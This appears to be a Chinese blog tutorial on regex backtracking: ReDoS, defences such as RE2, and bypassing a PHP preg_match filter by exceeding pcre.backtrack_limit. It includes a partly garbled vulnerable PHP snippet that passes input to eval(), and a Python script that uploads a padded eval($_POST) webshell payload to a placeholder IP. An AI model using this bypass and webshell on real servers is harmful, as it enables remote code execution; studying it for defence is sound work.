正则回溯整理

目录

一、回溯绕过

二、防止正则表达式回溯绕过的方法

三、PHP利用PCRE回溯次数限制绕过某些安全限制

[1、 首先,来看一段PHP代码](#1、 首先,来看一段PHP代码)

2、正则回溯的过程

[3、PHP的pcre.backtrack_limit 限制利用](#3、PHP的pcre.backtrack_limit 限制利用)


一、回溯绕过

正则表达式的回溯绕过是指通过构造恶意输入,使得正则表达式引擎在匹配字符串时产生大量回溯操作,从而导致性能下降甚至造成拒绝服务(DoS)攻击。

由于模式中的量词(例如星号*、加号+、问号?、花括号{}等)使得可能有多种不同的匹配方式,导致引擎需要尝试不同的组合,直到找到匹配的结果。这种尝试的过程就称为回溯。回溯操作会导致时间复杂度呈指数级增长,对于复杂的正则表达式和长字符串,性能损失会非常明显。

攻击者可以通过构造一些恶意输入,使得正则表达式在尝试匹配时陷入大量的回溯过程,从而使得服务器的资源耗尽,无法继续响应其他请求,从而实现拒绝服务攻击。

回溯绕过是一种常见的正则表达式攻击手段,合理使用正则表达式引擎和对输入进行有效验证是防止此类攻击的关键。

二、防止正则表达式回溯绕过的方法

防止正则表达式回溯绕过的方法包括:

1. 使用非回溯性的正则表达式引擎:某些正则表达式引擎支持非回溯的匹配算法,例如"正则表达式2"(Regular Expression 2,RE2)引擎,该引擎能够保证线性时间复杂度,从而避免回溯导致的性能问题。

2. 限制正则表达式的复杂性:在编写正则表达式时,尽量避免使用过于复杂的表达式,特别是避免嵌套量词和回溯的使用。

3. 输入验证和过滤:对于用户输入的数据,进行有效的验证和过滤,确保输入符合预期的格式和内容,防止恶意输入进入正则表达式匹配的过程。

4. 采用其他字符串匹配算法:对于复杂的字符串匹配需求,可以考虑使用其他字符串匹配算法,如Aho-Corasick算法、Knuth-Morris-Pratt算法等,这些算法不涉及回溯,性能较为稳定。

三、PHP利用PCRE回溯次数限制绕过某些安全限制

1、 首先,来看一段PHP代码

<?php

function is_php($data){

return preg_match('/<\?.*[(`;?>].*/is', $data);

}

<?php eval()

if(!is_php($input)) {

// fwrite(f, input); ...

}

上面这段PHP代码实现了一个函数 is_php($data),用于检查输入的数据是否包含PHP代码片段。然后,在调用 is_php() 函数之后,代码使用 eval() 函数来执行用户输入的数据。这段代码存在严重的安全漏洞。

安全问题:

1. eval( ) 函数: eval( ) 函数用于执行字符串形式的PHP代码,但是这样的用法极其危险,因为它会执行任意代码,导致远程代码执行(Remote Code Execution,RCE)漏洞。不应该将未经验证的用户输入直接传递给 eval( )。

2. 正则表达式漏洞:正则表达式 '/<\?.*[(`;?>].*/is' 存在问题。该表达式试图匹配包含 <?`、```、`?> 等标记的任意字符,但是由于缺乏边界约束,可能导致误匹配和绕过。例如,<?php 在某些情况下可能被误认为是PHP代码片段,而其他语言的代码也可能被错误地匹配。

2、正则回溯的过程

正则表达式 :

/<\?.*[(`;?>].*/is

测试文本 :

<?php phpinfo();//aaaaa

所以,如上之后 实际执行流程是这样的:

1.第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

2.所以 NFA 就开始回溯,先吐出一个 a,输入变成第6步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上

3.最终直到吐出;,输入变成第 13步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。14步开始向后匹配;,15步匹配 . 第二个.匹配到了字符串末尾,最后结束匹配。

3、PHP的pcre.backtrack_limit 限制利用

在PHP中,pcre.backtrack_limit 是一个配置选项,用于限制PCRE(Perl Compatible Regular Expressions)引擎的回溯深度。PCRE是PHP正则表达式引擎的一部分,它用于解析和匹配正则表达式。在PHP文档中,这个值一般是 100万

我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的DOC如下

import requests

from io import BytesIO

files = {

'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)

}

res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)

print(res.headers)

相关推荐
小突突突1 小时前
个人博客系统测试报告
运维·网络·功能测试
triticale1 小时前
【Java】网络编程(Socket)
java·网络·socket
wanhengidc2 小时前
服务器中存储空间不足该怎么办?
运维·服务器·网络
soulermax2 小时前
数字ic后端设计从入门到精通4(含fusion compiler, tcl教学)CMOS VLSI Design
网络·硬件架构
bing_1583 小时前
什么是IoT长连接服务?
网络·物联网·长连接服务
christine-rr4 小时前
【25软考网工】第六章(4)VPN虚拟专用网 L2TP、PPTP、PPP认证方式;IPSec、GRE
运维·网络·网络协议·网络工程师·ip·软考·考试
小白自救计划4 小时前
网络协议分析 实验四 ICMPv4与ICMPv6
网络·网络协议
purrrew4 小时前
【Java ee初阶】网络编程 UDP socket
java·网络·网络协议·udp·java-ee
python算法(魔法师版)4 小时前
API安全
网络·物联网·网络协议·安全·网络安全
一刀到底2115 小时前
做为一个平台,给第三方提供接口的时候,除了要求让他们申请 appId 和 AppSecret 之外,还应当有哪些安全选项,要过等保3级
java·网络·安全